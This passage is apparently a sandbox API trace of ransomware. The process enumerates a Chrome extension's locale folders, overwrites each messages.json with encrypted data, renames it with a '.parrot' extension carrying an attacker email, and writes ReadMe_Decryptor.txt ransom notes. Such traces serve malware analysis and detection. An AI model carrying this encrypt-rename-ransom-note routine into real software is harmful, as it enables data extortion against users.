ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.828] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0b32760, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0056.828] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.829] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0056.829] lstrcmpW (lpString1="hu", lpString2=".") returned 1 [0056.829] lstrcmpW (lpString1="hu", lpString2="..") returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0056.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0056.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0056.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0056.829] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.941] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.941] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.941] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.942] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe6 [0056.942] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.942] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.943] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe6, lpOverlapped=0x0) returned 1 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0056.943] GetLastError () returned 0x0 [0056.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0056.944] WriteFile (in: hFile=0x288, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0056.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0056.944] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.944] CloseHandle (hObject=0x288) returned 1 [0056.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0056.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0056.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0056.945] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0056.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b700 | out: hHeap=0x5b0000) returned 1 [0056.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0056.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0056.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0056.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.947] GetFileType (hFile=0x288) returned 0x1 [0056.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0056.960] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0056.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0056.960] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69b700 [0056.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0c63260, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.960] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0c63260, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0056.960] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.960] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0056.961] lstrcmpW (lpString1="id", lpString2=".") returned 1 [0056.961] lstrcmpW (lpString1="id", lpString2="..") returned 1 [0056.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0056.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0056.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0056.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.961] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.961] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.961] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.961] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.962] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd0 [0056.962] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.962] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.962] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.963] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.963] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd0, lpOverlapped=0x0) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0056.963] GetLastError () returned 0x0 [0056.963] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: 